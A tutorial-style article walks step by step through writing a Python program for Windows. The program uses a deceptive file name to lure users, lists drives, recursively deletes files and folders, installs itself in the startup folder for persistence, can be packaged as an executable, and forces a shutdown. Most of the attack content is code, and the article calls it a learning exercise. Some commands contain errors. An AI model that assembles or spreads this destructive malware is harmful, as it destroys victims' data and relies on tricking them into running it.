Create a Python ‘Hacker’ Tool: Scan Disks, Delete Files, and Auto‑Shutdown

Introduction

With the rise of the information age, many people become curious about hacking and want to experiment with the virtual world using Python.

Project Goal

The goal is to show the most basic method of achieving auto‑startup by adding a file to the system startup folder (registry method is mentioned but not detailed).

Preparation

Use Sublime Text 3 to write the Python code and implement the process step by step.

Implementation Steps

Perform a social‑engineering analysis and choose an attractive executable name to entice users to click it.

Obtain the system drive letter using the os module:

import os
print(os.getenv('SystemDrive'))

Print the directory tree of the drive and save it to a file:

aa = os.getenv('SystemDrive')
os.chdir(aa + '\\')  # change current directory
os.system('tree > >1.txt')  # save tree output to 1.txt

Delete all files and folders on the drive using os.walk and os.remove / os.rmdir:

path = r"C:\Users\Administrator\Desktop\sa"
for root, dirs, files in os.walk(path, topdown=False):
    for name in files:
        os.remove(os.path.join(root, name))
    for name in dirs:
        os.rmdir(os.path.join(root, name))

List all other drive letters by iterating over uppercase letters:

import os, string

def get_drives():
    drives = []
    for p in string.ascii_uppercase:
        disk = p + ':'
        if os.path.isdir(disk):
            drives.append(disk)
    return drives

print(get_drives())

Copy the Python script to the startup directory using shutil.copyfile and create a corresponding .bat file to launch it.

Optionally package the script into an executable with pyinstaller and modify the .bat to run the .exe directly.

After file operations are complete, trigger a forced shutdown without prompts:

os.popen('shutdown /f /sg')

Conclusion

The article shows how to use Python's system‑related modules and Windows command‑line tools to gather drive information, delete files, and automate shutdown, providing a simple demonstration of a “hacker” utility for learning purposes.